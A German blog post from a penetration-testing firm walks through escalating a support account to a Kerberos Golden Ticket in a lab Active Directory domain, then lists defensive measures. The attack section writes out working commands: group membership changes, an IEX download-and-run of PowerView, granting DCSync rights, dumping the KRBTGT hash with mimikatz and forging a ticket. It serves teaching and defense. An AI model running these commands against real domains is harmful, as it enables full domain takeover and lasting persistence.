Vom Support Benutzer zum „Golden Ticket“
1. Einleitung
Bei unseren internen Penetration Tests kommt es häufig vor, dass es uns gelingt, innerhalb weniger Stunden an die Berechtigung eines Domänen Administrators zu gelangen. Dabei helfen uns beispielsweise unzureichend gesicherte Systeme, veraltete Software oder unsichere Standardeinstellungen in einer Active Directory Umgebung.
Allerdings gibt es auch Fälle, in denen die Standard-Angriffsmethoden nicht funktionieren und wir tiefer graben müssen, um hohe Privilegien in der Domäne zu erlangen. In solchen Fällen sind fortgeschrittenere Angriffstechniken erforderlich, die beispielsweise Zugriffskontrolllisten ausnutzen, um die Privilegien in der Domäne zu erweitern.
In dem folgenden Blog möchte ich zeigen, wie es gelungen ist, über die Veränderung von Zugriffsberechtigungen auf die Domäne an ein „Golden Ticket“ zu gelangen.
2. Szenario
Das folgende Szenario wurde bei einem Kunden durchgeführt und für den Blog in unserer eigenen Testumgebung nachgestellt.
Bei einem Kunden finden wir auf einer Laufwerksfreigabe die Zugangsdaten zu einem Support Benutzer. Mit diesem Benutzer können wir mit Bloodhound weitere Informationen über die Domäne auslesen. Eine Überprüfung der Berechtigungen des Support Benutzers ergibt, dass dieser Mitglied der Gruppe Organization Management ist. Das ist eine Gruppe, die berechtigt ist, Exchange Server zu konfigurieren.
Die Gruppe Organization Management besitzt die Generic All-Berechtigung. Diese Berechtigung erstreckt sich auf zwei Gruppen: Exchange Windows Permissions und Exchange Trusted Subsystem. Je nachdem, wann die Exchange Umgebung installiert wurde, hat die Gruppe Exchange Windows Permissions WriteDacl-Berechtigung auf die Domäne. Dadurch kann jeder, der Mitglied in der Gruppe Exchange Windows Permissions ist, Berechtigungen auf die höchste Ebene der Domäne vergeben.
Zuerst wird der Benutzer Support der Gruppe Exchange Windows Permissions hinzugefügt. Dadurch bekommen wir die Berechtigung, Änderungen an der obersten Ebene in der Domäne, durchzuführen.
Get-ADPrincipalGroupMembership support | select name
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members support
Als nächstes teilen wir unserem Benutzer Support die DCSync-Berechtigung zu. Mit der DCSync-Berechtigung kann eine komplette Replikation der Domäne angefordert werden. Normalerweise können das nur Benutzer aus den Gruppen Domain Admins, Enterprise Admins, Administrators, und Domain Controllers.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
Add-DomainObjectAcl -TargetIdentity "DC=gotraining,DC=lab" -PrincipalIdentity support -Rights DCSync
Mit dem Tool mimikatz [1] können wir die Replication starten. In unserem Fall replizieren wir nur den KRBTGT-Account. Der KRBTGT-Account (Kerberos Ticket Granting Ticket Account) ist ein spezieller Dienstaccount in Microsoft Active Directory-Umgebungen. Er wird für den Anmeldeprozess verwendet und erstellt die Anmeldetickets der Benutzer in der Active Directory Umgebung. Es wäre auch möglich, alle User inklusive den Administratoren zu replizieren.
cd C:\Tools\mimikatz\x64
mimikatz.exe
lsadump::dcsync /domain:gotraining.lab /user:krbtgt
Mit den ausgelesenen Daten können wir jetzt ein Kerberos-Ticket für einen eigenen Administrator erstellen. Dazu benötigen wir den Domain Identifier und den NTLM-Hash vom KRBTGT Benutzer. Den Domain Identifier und den NTLM-Hash können wir mit mimikatz auslesen.
kerberos::golden /domain:gotraining.lab /sid:S-1-5-21-3893640844-527544915-513621812 /krbtgt:83f12c95b91382cc0e854ecbcf6ede29 /user:administrator /ptt
Nach dem Erstellen des Tickets ist dieses im Command prompt ersichtlich. In unserem Fall erstellen wir ein Ticket für den Domänen Administrator. Während ein Ticket Granting Ticket (TGT) normalerweise 10 Stunden gültig ist, kann ein Angreifer das TGT für einen beliebigen Zeitraum von bis zu 10 Jahren gültig machen. Das von mimikatz erstellte Ticket ist 10 Jahre gültig. Das heisst, es kann jederzeit wiederverwendet werden. Selbst das Ändern des Administratorkennworts macht das TGT nicht ungültig. Die einzige Möglichkeit, das Ticket ungültig zu machen, ist das Zurücksetzen des Kennwortes des KRBTGT-Benutzers.
3. Schutzmassnahmen
Um sich gegen Angriffe wie diesen zu schützen, können mehrere Massnahmen getroffen werden:
-
Aktualisierung von Windows: Stellen Sie sicher, dass Ihr Windows-System auf dem neuesten Stand ist, um potenzielle Schwachstellen zu beheben, die von Angreifern ausgenutzt werden können.
-
Verwendung von starken Passwörtern: Verwenden Sie komplexe und einzigartige Passwörter für alle Konten, insbesondere für Konten mit hohen Privilegien.
-
Einschränkung von Berechtigungen: Stellen Sie sicher, dass nur die Berechtigungen vergeben werden, welche tatsächlich benötigt werden und verwenden Sie keine Konten mit hohen Privilegien für alltägliche Aufgaben. Die Anzahl der Benutzer- und Dienstkonten mit Zugriff auf DCs auf ein Minimum beschränken, da Konten mit Domänenadministrator- oder „Verzeichnisänderungen replizieren“-Berechtigungen für DCSync-Angriffe verwendet werden können.
-
Überwachung von Log-Dateien: Überwachen Sie Ihre Log-Dateien auf verdächtige Aktivitäten und Ereignisse und reagieren Sie schnell auf solche Hinweise. Suchen Sie nach gefälschten Tickets. Genau wie gefälschte Geldscheine können auch gefälschte Tickets entdeckt werden. Untersuchen Sie die Tickets auf verräterische Anzeichen und achten Sie auf ungewöhnliches Benutzerverhalten. So können beispielsweise Fehler wie die Nichtübereinstimmung von Benutzernamen und relativer ID (RID) oder Änderungen an der Lebensdauer des Tickets auf böswillige Aktivitäten hindeuten. Darüber hinaus ist es wichtig, AD auf ungewöhnliche Aktivitäten zu überwachen, wie z. B. Änderungen der Gruppenmitgliedschaft.
-
Regelmässige Überprüfung des Systems: Regelmässige Audits und Penetrationtests können helfen, potenzielle Schwachstellen im System zu erkennen und zu beheben, bevor sie von Angreifern ausgenutzt werden können.
-
Regelmässige Änderung des KRBTGT-Kennworts: Microsoft empfiehlt schon länger die regelmässige Änderung des KRBTGT-Kennworts. In welcher Zeitspanne gibt Microsoft nicht an. Eine Änderung alle 180 Tage hat sich in der Praxis bewährt und wird von vielen IT-Sicherheitsexperten empfohlen. Firmen sollten jedoch auch die Änderung in Betracht ziehen, wenn ein Mitarbeitender, welcher ein Goldenes Ticket erstellen kann, das Unternehmen verlässt. Das sind Domänenadministratoren und Konten mit der Berechtigung „Verzeichnisänderungen replizieren“. Idealerweise wird das Kennwort des KRBTGT-Accounts mit dem von Microsoft bereitgestellten Skript geändert [2][3]. Weitere Informationen zum KRBTGT-Account sind bei Microsoft beschrieben [4].
4. Quellen
-
GitHub: mimikatz
https://github.com/gentilkiwi/mimikatz -
Microsoft: KRBTGT Account Password Reset Scripts now available for customers
https://www.microsoft.com/en-us/security/blog/2015/02/11/KRBTGT-account-password-reset-scripts-now-available-for-customers/ -
GitHub: Public-AD-Scripts/Reset-KRBTGT-Password-For-RWDCs-And-RODCs.ps1
https://github.com/zjorz/Public-AD-Scripts/blob/master/Reset-KRBTGT-Password-For-RWDCs-And-RODCs.ps1 -
Microsoft: Active Directory accounts, KRBTGT account
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-default-user-accounts#KRBTGT-account
Informationen zum Autor: Marius Hamborgstrøm
Im Jahre 2014 ist es mir gelungen goSecurity von meinem Talent zu überzeugen. Als Experte für Penetration Tests konnte ich schon viele Schwachstellen aufdecken, bevor dies einem Hacker gelungen ist. Zudem bin ich für die Gestaltung und die Durchführung unserer goTraining-Kurse Hack to PROTECT (H2P), Hack to PROTECT [ADVANCED] (H2PA) und Windows Server Hardening (WSH) verantwortlich. Durch meine jahrelange Erfahrung als IT-Leiter einer mittelständischen Bank, kenne ich auch die Seite des Administrators und des IT-Managers in einer Umgebung mit hohen Sicherheitsanforderungen. Aus dieser Erfahrungskiste kann ich die Anforderungen unserer Kunden auch bei Audits und umfassenden Beratungen schnell verstehen und Sie zielgerichtet und praxisnah beraten. Jede Sicherheitslücke bei Ihnen zu finden, bevor dies jemand anderem gelingt, ist leider nicht immer realistisch. Und dennoch ist es mein Antrieb und mein Anspruch.